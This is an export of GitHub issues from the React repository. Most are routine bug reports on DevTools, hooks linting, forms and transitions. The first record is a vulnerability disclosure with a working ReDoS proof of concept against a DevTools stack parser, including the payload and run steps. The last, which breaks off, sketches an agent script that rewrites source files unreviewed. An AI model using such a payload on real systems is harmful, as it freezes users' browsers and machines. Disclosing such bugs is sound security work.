* Generated Time: 2025-12-02
* Phase: Phase 3 - Optimized (1 iteration)
* Status: VALIDATED SUCCESS
*
* === VALIDATION RESULTS ===
* Phase 2 Result: FAILED (Reached Sink but no ReDoS)
* Phase 3 Iterations: 1
*
* Iteration 1: Removed '@' from suffix (changed @ to !) to prevent regex matching
* Root Cause: Original suffix '\r@\r@' allowed regex to match successfully, no backtracking
* Strategy: Replace '@' with '!' to force regex matching failure and trigger backtracking
* Result: SUCCESS - Sink execution time > 30s (exceeded timeout, Standard A: > 2000ms)
*
* Final Validation Metrics:
* - Sink Execution Time: > 30s (killed due to timeout)
* - Total Execution Time: > 30s
* - Success Criteria: Standard A (> 2000ms, exceeded significantly)
* - Production Ready: YES (extremely effective)
*/
import { parseSourceFromComponentStack } from './utils.js';
console.log("[+] Constructing base attack payload...");
console.log("[+] Target Vulnerability: regexId 9");
console.log("[+] Vulnerable Regex: /((.*\".+\"[^@]*)?[^@]*)(?:@)/");
// Using vulnerability report attack components to construct base payload
const prefix = " ";
const infix = "\"\u0000";
const suffix_original = "\n@\n@";
const repeatTimes = 5000;
console.log("\n[+] Analyzing dataflow path constraints...");
console.log("[+] Source: componentStack (parameter)");
console.log("[+] Sink: Line 432, sanitizedFrame.replace(/((.*\".+\"[^@]*)?[^@]*)(?:@)/, '')");
console.log("[+] Path: Must NOT match Chrome format → goes to Firefox parser");
console.log("[+] Transformations identified:");
console.log(" - split('\\n'): Splits string into array");
console.log(" - trim(): Removes whitespace");
console.log("\n[+] Payload adjustment analysis:");
console.log(" - Original suffix contains '\\n' → will be affected by split()");
console.log(" - Original suffix contains '@' → will be matched by regex (?:@), causing regex to succeed");
console.log(" - Strategy (Iteration 1): Remove '@' from suffix to prevent regex from matching");
console.log(" - Replace \\n with \\r, and replace @ with !");
const suffix_adjusted = suffix_original.replace(/\n/g, '\r').replace(/@/g, '!');
console.log(` - Adjusted suffix: ${JSON.stringify(suffix_adjusted)}`);
const base_payload = prefix + infix.repeat(repeatTimes) + suffix_adjusted;
console.log(`[+] Base payload length: ${base_payload.length} characters`);
const final_payload = base_payload;
console.log(`[+] Final payload length: ${final_payload.length} characters`);
console.log("\n[!] Preparing to trigger ReDoS vulnerability...");
console.log(`[!] Calling: parseSourceFromComponentStack(final_payload)`);
console.time("ReDoS-Attack-Time");
try {
parseSourceFromComponentStack(final_payload);
console.log("\n[+] Function execution completed");
} catch (e) {
console.log("\n[!] Function threw exception:", e.message);
}
console.timeEnd("ReDoS-Attack-Time");
console.log("\n[+] Attack completed. If execution time significantly increased, ReDoS attack was successful.");
console.log("\n[Note] This is the initial version of the PoC and requires actual verification in Phase 2.");
/* How to use:
* 1.Download the file:https://github.com/facebook/react/blob/68dbd84b61cc2504c30e19f748f59a52d331f851/packages/react-devtools-shared/src/backend/utils.js#L417
* 2.Put poc.js and utils.js in the same folder
* 3.Enter the command in the terminal: node poc.js
* 4.You will now see a long ReDoS-Attack-Time and high CPU usage, indicating that a ReDoS attack has occurred.
*/
```
### Impact
Vulnerability Type
This is a `Regular Expression Denial of Service (ReDoS) vulnerability`. It falls under the category of Availability impact. By exploiting the algorithmic complexity of specific regular expressions, an attacker can cause "catastrophic backtracking," which leads to:
* Resource Exhaustion: Rapid and sustained 100% CPU utilization on the user's machine.
* Service Disruption: Complete unresponsiveness of the browser tab, the DevTools window, or the entire browser process.
Who is Impacted?
The impact extends to several groups within the React ecosystem:
Frontend Developers: The primary victims are developers using the React Developer Tools extension (or integrated library) to inspect applications. Opening the DevTools on a page containing a "malicious" component name or stack trace will trigger the hang, resulting in the loss of unsaved debugging data and workflow interruption.
End Users (in specific contexts): If a React application includes the react-devtools-shared backend logic (e.g., in a development or staging environment), any user visiting the site with DevTools active could have their browser rendered unusable.
Local Systems: Because the heavy computation occurs in the browser's rendering engine or the extension's process, the overall system performance may degrade, affecting other running applications until the offending process is forcefully terminated.
| open | guiyi-he | 2026-01-12T13:52:26 | 2026-01-28T15:22:05 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 9 | false | 2026-03-29T04:52:10.948878 | |||
facebook | react | 35,212 | I_kwDOAJy2Ks7aaZXz | false | [DevTools Bug]: Standalone DevTools disconnects when selecting a component with large state | ### Website or app
https://github.com/drewhoener/react-standalone-devtools-disconnect-repro
### Repro steps
When using standalone devtools and attempting to inspect a component with large props or memoized data, the devtools disconnects.
I assume this is because there's just too much to send over the socket?
This works fine with the devtools extension in chrome and firefox, but fails with standalone.
Follow the instructions in the readme of the linked repro repository, just running and attempting to inspect the element with standalone devtools causes the disconnect
### How often does this bug happen?
Every time
### DevTools package (automated)
_No response_
### DevTools version (automated)
_No response_
### Error message (automated)
_No response_
### Error call stack (automated)
```text
```
### Error component stack (automated)
```text
```
### GitHub query string (automated)
```text
``` | open | drewhoener | 2025-11-25T19:37:59 | 2026-01-30T15:46:35 | null | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | null | 0 | {} | 1 | false | 2026-03-29T04:52:11.000214 | |||
facebook | react | 35,015 | I_kwDOAJy2Ks7UvQoD | false | Bug: View Transitions occasionally stall with default `onDefaultTransitionIndicator` | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
The default `onDefaultTransitionIndicator` seems to sporadically stall view transitions. This does not occur with a custom `onDefaultTransitionIndicator` handler.
This occurs in Chrome, and Safari with the "Navigation API" feature flag enabled. This doesn't occur in Firefox because it doesn't support the Navigation API yet.
| Chrome | Safari |
| ------------- | ------------- |
| <video src="https://github.com/user-attachments/assets/5d735ec8-3da5-42da-bed2-70f265aaecdf"> | <video src="https://github.com/user-attachments/assets/feed3a27-4f71-4557-9cb0-dc3a78a10a4c"> |
The error message in development is a bit more descriptive:
```
Uncaught Error: A ViewTransition timed out because a Navigation stalled. This can happen if a Navigation is blocked on React itself. Such as if it's resolved inside useEffect. This can be solved by moving the resolution to useLayoutEffect.
at customizeViewTransitionError (react-dom-client.development.js:25585:20)
at react-dom-client.development.js:25783:24Caused by: TimeoutError: Transition was aborted because of timeout in DOM update
```
While the code example implements a custom router which also intercepts navigation events, it resolves them correctly inside `useLayoutEffect()`. Moreover, adding a custom `onDefaultTransitionIndicator` prevents the error, which suggests that the router code is correct, and that this is an issue within React with the default `onDefaultTransitionIndicator`.
Possibly related: #34662, #34676
React version: "experimental" (>19.3.0-experimental-9724e3e6-20251008)
- Specifically environments where `enableDefaultTransitionIndicator` is enabled.
## Steps To Reproduce
1. Visit https://async-react.dev/
2. Make sure the request debugger sliders are set to 0s.
3. Run the following snippet which simulates a click every 500ms for 200 clicks:
```js
let shouldStopIteration = false;
window.onerror = (e) => {shouldStopIteration = true;};
for (let i = 0; i< 200; i++) {
if (shouldStopIteration) break;
const elts = document.querySelectorAll('[data-slot="item-actions"] button');
const ind= Math.floor(Math.random() * elts.length);
elts[ind].click();
await new Promise(r => setTimeout(r,500))
}
```
4. Observe that every now and then the page freezes, and we see an error in the console that the "ViewTransition timed out".
- Unfortunately, it is very inconsistent. So this may take multiple attempts or even a different timeout duration.
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example: https://codesandbox.io/p/github/denk0403/async-react/view-transition-stall
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
The default `onDefaultTransitionIndicator` causes sporadic stalling of view transitions.
## The expected behavior
The default `onDefaultTransitionIndicator` should not stall view transitions. | open | denk0403 | 2025-10-30T06:46:48 | 2026-01-29T15:56:01 | null | [
"Component: DOM"
] | null | 0 | {
"heart": 1
} | 4 | false | 2026-03-29T04:52:11.063843 | |||
facebook | react | 35,652 | I_kwDOAJy2Ks7mbxMp | false | ReactPerformanceTrackProperties/addValueToProperties fails to handle cursors (fn + proxy) | `ReactPerformanceTrackProperties`'s `logComponentRender` calls `addValueToProperties`. If one of the props is a function, it's formatted with:
```
case 'function':
if (value.name === '') {
desc = '() => {}';
} else {
desc = value.name + '() {}';
}
```
([https://github.com/facebook/react/blob/87ae75b33f71eb673c55ddb3a147a9e58b7d05bd/packages/shared/ReactPerformanceTrackProperties.js#L259](source))
If this function is a cursor `Proxy(fn)` whose `name` returns another cursor, the concatenation with `() {}` fails with:
```
Uncaught TypeError: Cannot convert object to primitive value
```
Here's how to produce such a value:
```
{
const x = [];
const cursor = () => {
return new Proxy(() => x, { get() { return cursor(); }});
};
cursor().name + "() {}"
}
```
| closed | completed | unconed | 2026-01-28T15:35:53 | 2026-01-29T17:32:20 | 2026-01-29T17:32:20 | null | null | 0 | {} | 0 | false | 2026-03-29T04:52:11.102752 | ||
facebook | react | 33,428 | I_kwDOAJy2Ks65rQsS | false | Bug: performance: `createPortal()` attaches listeners even in contained roots | I'm working on a new virtualization engine for the MUI X Data Grid and other components. I was hoping to be able to do some work outside of react for performance reasons, and to tie React in with portals, but the base cost of adding portals is too high for that use-case due to the event listeners that are added on new roots.
React version: 19
## Steps To Reproduce
1. Create a portal inside the app's main root
Link to code example: https://stackblitz.com/edit/mui-virtual-exploration
## The current behavior
React attaches event listeners to new portal roots even when the root node is contained by the main app root node. It creates a lot of overhead for cases where multiple portals are attached at once.
<img src="https://github.com/user-attachments/assets/59ccb728-b742-454c-b28e-26433e9d1f63" width="450" />
## The expected behavior
No added listeners if the root is contained in the main root.
| closed | not_planned | romgrk | 2025-06-03T19:08:33 | 2026-01-30T18:24:18 | 2025-12-11T06:09:26 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {
"+1": 1,
"eyes": 1
} | 8 | false | 2026-03-29T04:52:11.151695 | ||
facebook | react | 35,500 | I_kwDOAJy2Ks7i-KF0 | false | It cannot load normally and keeps showing "Loading React Element Tree..." | <img width="675" height="504" alt="Image" src="https://github.com/user-attachments/assets/78c24013-7f9a-4ae1-a579-e354c1043b9a" />
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36 | open | GailJY | 2026-01-13T09:22:22 | 2026-02-01T09:10:28 | null | null | null | 0 | {} | 2 | false | 2026-03-29T04:52:11.233794 | |||
facebook | react | 35,668 | I_kwDOAJy2Ks7ncD_P | false | [invalid][potential Security Alert] New `postinstall` script added in `react-fast-utilsa@2.0.1` |
A new `postinstall` script was detected in version `2.0.1` of the package `react-fast-utilsa`.
**Script content:**
```
node scripts/setup.js
```
see [npm documentation on package scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more details.
and [the detector](https://github.com/alphaleadership/npm-check). to understand why this script might be dangerous.
to get the alert only for dangerous scripts, please visit[the telegram](https://t.me/npmalert)
This could be a security risk. Please investigate.
| closed | not_planned | alphaleadership | 2026-02-01T20:36:28 | 2026-02-02T08:30:06 | 2026-02-02T08:29:54 | [
"invalid"
] | null | 0 | {} | 1 | false | 2026-03-29T04:52:11.271572 | ||
facebook | react | 35,151 | I_kwDOAJy2Ks7YTVG5 | false | Bug: React 19.2 flushSync flickers briefly | We’re seeing a **production-only flicker regression for flushSync calls in React 19.2** that does **not** occur in React 19.1.
### Demo Links
* **React 19.1 (no flicker):**
[https://deploy-preview-8--react-responsive-overflow-list.netlify.app/](https://deploy-preview-8--react-responsive-overflow-list.netlify.app)
[source PR](https://github.com/Eliav2/react-responsive-overflow-list/pull/8)
* **React 19.2 (visible flicker):**
[https://deploy-preview-10--react-responsive-overflow-list.netlify.app/](https://deploy-preview-10--react-responsive-overflow-list.netlify.app)
[source PR](https://github.com/Eliav2/react-responsive-overflow-list/pull/10)
Note: performance throttling was enabled here to see flickering more clearly while resize
### What Happens
The component relies on `flushSync` inside `useResizeObserver`:
[https://github.com/Eliav2/react-responsive-overflow-list/blob/main/src/hooks/useResizeObserver.ts](https://github.com/Eliav2/react-responsive-overflow-list/blob/main/src/hooks/useResizeObserver.ts)
On resize, we intentionally trigger synchronous layout updates using flushSync to prevent any intermediate visual state from appearing.
### Behavior Difference
React 19.1:
flushSync blocks and applies the update immediately — the intermediate state never appears.
React 19.2:
React momentarily exposes the intermediate layout state even inside a flushSync block in production builds, resulting in a very short but noticeable flicker.
### Additional Notes
* Flicker **only** appears in **production builds** of React 19.2.
* Both 19.1 and 19.2 **do not flicker** in local development mode.
* No code changes between demos—only the React version changed.
| open | Eliav2 | 2025-11-15T16:53:56 | 2026-01-30T22:47:02 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 3 | false | 2026-03-29T04:52:11.336837 | |||
facebook | react | 32,062 | I_kwDOAJy2Ks6mD1JB | false | Bug: react-hooks/exhaustive-deps false postive when use `isPending` in `useActionState` | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: 19.0.0, eslint-plugin-react-hooks: 5.1.0
## Steps To Reproduce
1. Create a `useActionState` value and use the third value in the return value
2. Use dispatch function in `useEffect`
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example:
```tsx
import type React from 'react';
import { useActionState, useEffect } from 'react';
export const Example: React.FC = () => {
const [_, dispatch, _isPending] = useActionState(() => 0, 0);
useEffect(() => {
dispatch();
}, []); // React Hook useEffect has a missing dependency: 'dispatch'. Either include it or remove the dependency array.
const [_2, dispatch2] = useActionState(() => 0, 0);
useEffect(() => {
dispatch2();
}, []); // ok
return null;
};
```
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
```
React Hook useEffect has a missing dependency: 'dispatch'. Either include it or remove the dependency array.
```
## The expected behavior
No lint errors.
------
Only handled 2 elements.
https://github.com/facebook/react/blob/056073de4c50b65807cd77ae6715c9ea8ee64277/packages/eslint-plugin-react-hooks/src/ExhaustiveDeps.js#L273 | closed | not_planned | dislido | 2025-01-14T02:17:51 | 2026-01-31T12:10:20 | 2026-01-31T12:10:20 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {} | 9 | false | 2026-03-29T04:52:11.370415 | ||
facebook | react | 27,791 | I_kwDOAJy2Ks54r44s | false | [DevTools Bug]: Excessive CPU Usage | ### Website or app
Happens even after all tabs are closed
### Repro steps
I don't have clear repro steps yet. Occasionally I will notice that Chrome is using 170%-200% CPU. I close *all* my tabs, and it continues. Then I open the extensions management page and disable react devtools. This immediately fixes the problem. Re-enabling the extension does not re-engage the high cpu issue.
### How often does this bug happen?
Sometimes
### DevTools package (automated)
_No response_
### DevTools version (automated)
_No response_
### Error message (automated)
_No response_
### Error call stack (automated)
_No response_
### Error component stack (automated)
_No response_
### GitHub query string (automated)
_No response_ | open | jscheel | 2023-12-04T21:26:04 | 2026-01-31T20:57:59 | null | [
"Type: Bug",
"Status: Unconfirmed",
"Component: Developer Tools"
] | null | 0 | {
"+1": 2
} | 10 | false | 2026-03-29T04:52:11.437918 | |||
facebook | react | 33,667 | I_kwDOAJy2Ks697hUQ | false | Bug: input type number ignores defaultValue after clicking Enter when used with useActionState | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: 19
## Steps To Reproduce
1. Type something in the input labelled "From:"
2. **Hit enter while the cursor is in the input**
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example: https://stackblitz.com/edit/vitejs-vite-qgspah9h?file=src%2FApp.jsx
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
The input named "From:" gets cleared, even though its `defaultValue` has the value which you typed before hitting enter.
## The expected behavior
If you do the same thing with the other input called "Name", the input does not get cleared when you hit enter.
Expected behavior is that this one (the number type) too _should not get cleared_.
---
Just in case I am also attaching code for reproduction below:
```
import * as React from 'react';
function StatefulForm() {
// Handle form action via useActionState
const handleSearch = (ps, formData) => {
return {
release_year_from: formData.get('release_year_from'),
name: formData.get('name'),
};
};
// Initialize action state with empty strings
const [formState, formAction, isPending] = React.useActionState(
handleSearch,
{
release_year_from: '',
name: '',
}
);
return (
<form action={formAction} className="space-y-4">
<div>
<label className="block">From:</label>
<input
type="number"
name="release_year_from"
defaultValue={formState.release_year_from}
className="border rounded p-1"
/>
</div>
<div>
<label className="block">Name</label>
<input
name="name"
defaultValue={formState.name}
className="border rounded p-1"
/>
</div>
<button
type="submit"
disabled={isPending}
className="px-4 py-2 bg-blue-600 text-white rounded"
>
{isPending ? 'Searching...' : 'Search'}
</button>
</form>
);
}
export default StatefulForm;
```
| closed | not_planned | gmoniava | 2025-06-29T19:32:00 | 2026-01-31T12:10:17 | 2026-01-31T12:10:17 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {
"eyes": 1
} | 7 | false | 2026-03-29T04:52:11.476983 | ||
facebook | react | 34,986 | I_kwDOAJy2Ks7T6TEX | false | Bug: `eslint-plugin-react-hooks` causes weird lint error: `react-hooks/use-memo` | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: 19.2.0
eslint-plugin-react-hooks: 7.0.1
## Steps To Reproduce
1. Make `useCallback` with an explicitly typed function.
2. Run `npm run lint`
```tsx
type Noop = () => void;
const WeirdLintError = () => { // eslint error 1
const [count, setCount] = useState(0);
const handleClick = useCallback(
(() => {
setCount((c) => ++c);
}) satisfies Noop,
[]
);
return <button onClick={handleClick}>Count: {count}</button>;
};
const WeirdLintError2 = () => { // eslint error 2
const [count, setCount] = useState(0);
const handleClick = useCallback(
(() => {
setCount((c) => ++c);
}) as Noop,
[]
);
return <button onClick={handleClick}>Count: {count}</button>;
};
const WorkAroundLintError = () => { // Workaround to the function above
const [count, setCount] = useState(0);
const handleClick = useCallback<Noop>(() => {
setCount((c) => ++c);
}, []);
return <button onClick={handleClick}>Count: {count}</button>;
};
```
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example: https://stackblitz.com/edit/vitejs-vite-jtpxqtju?file=src%2FApp.tsx
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
Lint failed with errors like the below:
```
/home/projects/vitejs-vite-jtpxqtju/src/App.tsx:36:5
34 | const [count, setCount] = useState(0);
35 | const handleClick = useCallback(
> 36 | (() => {
| ^^^^^^^^
> 37 | setCount((c) => ++c);
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 38 | }) satisfies Noop,
| ^^^^^^^^^^^^^^^^^^^^^^ Expected the first argument to be an inline function expression
39 | []
40 | );
41 | react-hooks/use-memo
47:5 error Error: Expected the first argument to be an inline function expression
Expected the first argument to be an inline function expression.
/home/projects/vitejs-vite-jtpxqtju/src/App.tsx:47:5
45 | const [count, setCount] = useState(0);
46 | const handleClick = useCallback(
> 47 | (() => {
| ^^^^^^^^
> 48 | setCount((c) => ++c);
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 49 | }) as Noop,
| ^^^^^^^^^^^^^^^ Expected the first argument to be an inline function expression
50 | []
51 | );
52 | react-hooks/use-memo
```
## The expected behavior
No ESLint errors on explicitly typed function expression.
| closed | not_planned | composite | 2025-10-27T06:33:32 | 2026-02-01T11:06:53 | 2026-02-01T11:06:53 | [
"Status: Unconfirmed",
"Resolution: Stale"
] | null | 0 | {} | 3 | false | 2026-03-29T04:52:11.538885 | ||
facebook | react | 34,261 | I_kwDOAJy2Ks7HScNk | false | [Compiler Bug]: The “one or more React ESLint rules were disabled” check is too aggressive | ### What kind of issue is this?
- [x] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)
- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)
- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)
- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)
### Link to repro
https://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEAwhALYAOhCmOAFAJRHAA6xRchYOLRAbgEMANlAQAaImAQ4A8jgAWCGADURYogF8iAXiJRpAZQoIAEhAgBrJu3ZF90gKJo0CXPSa6AfCzv3O3BDCCAB0whAA5vRCogiMfvbScorKarHR6nEJRAD0OUQIYMJ4dAC0ACZ4YIIARsGlmAgAHjilxY1EMAiCuKUKFpZgOc0Kggb4-AgVCJRgfpqSANoxYgC68Zh+XTiwxAA8JAp4wuUCmTrAKwjaOV7smiCaQA
### Repro steps
A codebase where I’m adopting React Compiler right now has multiple components with `// eslint-disable-next-line react-hooks/exhaustive-deps` put in front of a `useEffect` dependency array:
```js
function Component() {
const { value, setOtherValue } = useSomeHook()
useEffect(() => {
console.log(value)
setOtherValue(value)
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [value])
return <Child value={value} />
}
```
(In this scenario, the developer’s intention is to run the effect only when `value` changes.)
This is, arguably, a code smell (if `setOtherValue` changes, we won’t call it, and that might lead to bugs!). But this doesn’t affect the effectiveness of memoization. However, Compiler bails out when it sees _any_ ESLint comment like that, leading to deopts in components that would otherwise be perfectly memoized.
### How often does this bug happen?
Every time
### What version of React are you using?
19.1.1
### What version of React Compiler are you using?
19.1.0-rc.2 | closed | completed | iamakulov | 2025-08-21T23:24:19 | 2026-02-02T05:23:56 | 2026-02-02T05:23:55 | [
"Component: React Compiler",
"Resolution: Stale",
"Compiler: todo"
] | null | 0 | {} | 8 | false | 2026-03-29T04:52:11.577154 | ||
facebook | react | 31,689 | I_kwDOAJy2Ks6iSVwL | false | Bug: React overwrites functions on customElements | <!--
Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: 19.0.0
## Steps To Reproduce
1. Define a custom element as shown:
```js
class CEWithAttrPropertyClash extends HTMLElement {
test(value) {
this.dispatchEvent(new CustomEvent('test', {detail: value}))
}
connectedCallback() {
this.test(true);
}
}
customElements.define('ce-with-attr-property-clash', CEWithAttrPropertyClash);
```
2. Render
```js
render(<ce-with-attr-property-clash test />);
```
<!--
Your bug will get fixed much faster if we can run your code and it doesn't
have dependencies other than React. Issues without reproduction steps or
code examples may be immediately closed as not actionable.
-->
Link to code example: https://codesandbox.io/p/sandbox/green-resonance-kpwcqg?file=%2Fsrc%2FApp.js%3A10%2C1
<!--
Please provide a CodeSandbox (https://codesandbox.io/s/new), a link to a
repository on GitHub, or provide a minimal code example that reproduces the
problem. You may provide a screenshot of the application if you think it is
relevant to your bug report. Here are some tips for providing a minimal
example: https://stackoverflow.com/help/mcve.
-->
## The current behavior
```this.test is not a function```
## The expected behavior
React sets attribute as an attribute and does not override function definition
The culprit appears to be this line: https://github.com/facebook/react/blob/c56c6234328a29930487295afe61597db48f058c/packages/react-dom-bindings/src/client/DOMPropertyOperations.js#L220
Which does not check to see if the property is a settable property.
| open | reopened | mrginglymus | 2024-12-06T10:59:31 | 2026-02-02T15:17:40 | null | [
"Status: Unconfirmed"
] | null | 0 | {} | 11 | false | 2026-03-29T04:52:11.653365 | ||
facebook | react | 35,671 | I_kwDOAJy2Ks7nmQ4H | false | [advertisement] | [advertisement] | closed | not_planned | netatall | 2026-02-02T12:03:55 | 2026-02-02T17:04:05 | 2026-02-02T12:26:33 | null | null | 0 | {} | 0 | true | spam | 2026-03-29T04:53:10.970978 | |
facebook | react | 35,676 | I_kwDOAJy2Ks7n0zpk | false | Bug: Unexpected Double Invocation of useEffect in React 18 StrictMode |
### Description
When using React 18 with `StrictMode` enabled, `useEffect` callbacks are invoked twice on initial mount in development mode. This behavior can cause unexpected side effects, especially when effects trigger API calls, logging, or non-idempotent operations.
While this may be intentional, the behavior is not always obvious and can be confusing for developers migrating from React 17 or those unfamiliar with concurrent features.
### Steps to Reproduce
1. Create a new React 18 app
2. Wrap the application in `<React.StrictMode>`
3. Add a `useEffect` with an empty dependency array
```jsx
useEffect(() => {
console.log("Effect executed");
}, []);
```
4. Run the app in development mode
### Expected Behavior
The `useEffect` callback runs once on initial mount, matching the mental model of a “componentDidMount”-like lifecycle.
### Actual Behavior
The `useEffect` callback runs **twice** on initial mount in development mode.
### Environment
* React version: 18.x
* Mode: Development
* StrictMode: Enabled
* Browser: Chrome
### Additional Context
I understand this behavior may be related to React 18’s development checks for detecting unsafe side effects. However, it is not always clear from the documentation that this double invocation is expected behavior, and it can lead to confusion or bugs during development.
### Suggested Improvement
* Improve documentation or warnings to more clearly explain why effects run twice in StrictMode
* Consider developer tooling or messaging to help identify when this behavior is intentional
| closed | not_planned | Solomonkassa | 2026-02-03T06:15:02 | 2026-02-03T08:02:25 | 2026-02-03T08:02:18 | [
"Status: Unconfirmed",
"Resolution: Expected Behavior"
] | null | 0 | {} | 1 | false | 2026-03-29T04:53:11.216343 | ||
facebook | react | 35,678 | I_kwDOAJy2Ks7n3SLb | false | [invalid][potential Security Alert] `postinstall` script changed in `carbon-mac-copy-cloner@1.2.1` |
The `postinstall` script was changed in version `1.2.1` of the package `carbon-mac-copy-cloner`.
**Previous version:** 1.1.10
**Previous script:**
```
node scripts/postinstall.js
```
**New script:**
```
node scripts/setup.js
```
This could be a security risk. Please investigate.
see [npm documentation on package scripts](https://docs.npmjs.com/cli/v9/using-npm/scripts) for more details.
and [the detector](https://github.com/alphaleadership/npm-check). to understand why this script might be dangerous.
to get the alert only for dangerous scripts, please visit[the telegram](https://t.me/npmalert)
This could be a security risk. Please investigate.
| closed | not_planned | alphaleadership | 2026-02-03T08:52:22 | 2026-02-03T09:53:18 | 2026-02-03T09:53:12 | null | null | 0 | {} | 1 | false | 2026-03-29T04:53:11.277289 | ||
facebook | react | 33,033 | I_kwDOAJy2Ks60HkNo | false | Bug: form submit event does not expose event.submitter | a form submit event provides an [`event.submitter`](https://developer.mozilla.org/en-US/docs/Web/API/SubmitEvent/submitter) property, which can be [passed to `new FormData(event.currentTarget, event.submitter)`](https://developer.mozilla.org/en-US/docs/Web/API/FormData/FormData#submitter).
currently, react's `FormEvent<HTMLFormElement>` does not expose `event.submitter` - it can only be accessed via `(event.nativeEvent as SubmitEvent).submitter`.
React version: 19.1
## Steps To Reproduce
Link to code example: https://github.com/stefanprobst/issue-react-form-event-submitter
1. clone above repo, `pnpm install && pnpm run dev`
2. click the submit button, and see that the nativeEvent has a submitter property, while the react synthetic event does not
## The current behavior
the submit event does not have a `submitter` property
## The expected behavior
the submit event's `submitter` property references the submit button (like the native SubmitEvent does) | closed | completed | stefanprobst | 2025-04-26T13:39:57 | 2026-02-02T20:17:32 | 2026-02-02T20:17:32 | [
"Status: Unconfirmed"
] | [
"eps1lon"
] | 0 | {
"+1": 2
} | 6 | false | 2026-03-29T04:53:11.323427 | ||
facebook | react | 35,655 | I_kwDOAJy2Ks7mld_a | false | Bug: | Please provide a clear and concise description of what the bug is. Include
screenshots if needed. Please test using the latest version of the relevant
React packages to make sure your issue has not already been fixed.
-->
React version: 19.2.4 (January 26th, 2026)
## Steps To Reproduce
This is not a rendering glitch, but a broken assumption in the React ecosystem when it is driven by AI agents instead of humans.
Today, tools like Clawdbot / Moltbot (and many internal AI agents) can:
- read and write source files in a repo,
- run scripts like `npm run dev` / `npm run build`,
- and push changes to CI without a human understanding the semantic intent.
React tooling still assumes “the thing running the scripts is a responsible human developer”.
Here is a minimal reproduction that simulates what an AI agent is allowed to do **today** with a standard React project.
1. Create a fresh React app (any official template, or Vite + React). For example:
```bash
npx create-react-app ai-agent-test
cd ai-agent-test
2. Replace src/App.js with this file:
// src/App.js
import React from "react";
export function DangerousWidget() {
// This is intentionally silly, but represents an unsafe action
// that a human would normally review.
const payload = {
type: "EXFILTRATE",
fields: ["localStorage", "navigator.userAgent"],
};
// In a real system this could be a fetch() to an internal API,
// a logging endpoint, or some other side-effect.
console.log("[DangerousWidget] Prepared payload:", payload);
return (
<div>
<h1>AI-Mutated React App</h1>
<p>
This component was written by an automated script without a human
understanding the intent of the change.
</p>
</div>
);
}
export default function App() {
return <DangerousWidget />;
}
3. Add a simple “agent” script that pretends to be an AI agent modifying the React code before running the dev server:
// agent.js
const fs = require("fs");
const path = require("path");
const { execSync } = require("child_process");
const appPath = path.join(__dirname, "src", "App.js");
// In the real world, this content could be generated by an LLM / AI agent // from a natural-language prompt like: // "Add tracking, call internal APIs, and log everything" // Here we just mutate the file to prove the point.
const injectedBanner = ` /**
AUTO-GENERATED BY AI-STYLE AGENT
No human explicitly reviewed or approved this change. */ `;
const original = fs.readFileSync(appPath, "utf8");
if (!original.startsWith("/** AUTO-GENERATED")) { const mutated = injectedBanner + "\n" + original; fs.writeFileSync(appPath, mutated, "utf8"); console.log("[agent] Mutated src/App.js without any human review."); } else { console.log("[agent] App already mutated."); }
console.log("[agent] Starting React dev server..."); execSync("npm start", { stdio: "inherit" });
4. Add a script to package.json:
{
"scripts": {
"start": "react-scripts start",
"agent:start": "node agent.js"
}
}
5. Run:
npm install
npm run agent:start
